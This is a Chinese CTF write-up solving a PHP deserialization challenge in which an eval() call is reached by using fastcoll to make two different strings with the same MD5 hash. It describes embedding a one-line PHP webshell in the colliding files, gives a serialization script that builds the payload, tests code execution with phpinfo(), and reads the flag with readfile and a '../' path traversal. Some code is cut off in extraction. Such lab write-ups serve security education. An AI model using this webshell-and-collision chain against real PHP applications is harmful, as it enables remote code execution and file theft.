成理信安协会反序列化01-利用fastcoll实现md5碰撞

虽然是反序列化的题目,但主要考点在利用fastcoll实现md5碰撞。

直接上源码

 var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
            eval($this->var1);
        }
    }
}

unserialize($_GET['payload']);

代码审计

  • 乍看上去很经典的md5碰撞题目,var1与var2原值弱比较不等md5编码后强比较相等。想直接拿自己的屯的payload直接上?太年轻了!仔细看一看我们拿flag的唯一途径是什么?eval($this->var1);!你的字符串不仅能够实现md5碰撞以绕过,而且还必须实现命令注入。怎么办?这时候就要用到md5碰撞滴神器,fastcoll了!

fastcoll使用详解

在我做题查阅各种fastcoll有关博客的时候,发现很多只是单纯的介绍,而到具体使用却写的比较模糊。我这里就结合题目写一下。
首先,新建一个写入一句话木马的文本文件。这里加了?>目的就是读完咱的一句话就提前结束,防止其他杂事。
成理信安协会反序列化01-利用fastcoll实现md5碰撞_第1张图片

然后把文件丢到fastcoll里跑一下(直接把文件拖到程序上,或者用命令行./fastcoll_v1.0.0.5.exe呦~)
成理信安协会反序列化01-利用fastcoll实现md5碰撞_第2张图片

然后我们得到两个文件。这两文件读到字符串是不一样的,但md5后是一样的。
成理信安协会反序列化01-利用fastcoll实现md5碰撞_第3张图片

然后上我们的读文件和序列化脚本。

其实就是主要用到file_get_contents函数,把文件读入字符串。

var1 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg1.txt');          
$tr->var2 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg2.txt');

echo urlencode(serialize($tr));

传个1=phpinfo();看看成功了没有。
成理信安协会反序列化01-利用fastcoll实现md5碰撞_第4张图片

成功了。我们就欢乐滴骑上了马。
菜刀蚁剑,或者直接readfile('../../../../../../flag');都可以。
成理信安协会反序列化01-利用fastcoll实现md5碰撞_第5张图片

你可能感兴趣的:(成理信安协会反序列化01-利用fastcoll实现md5碰撞)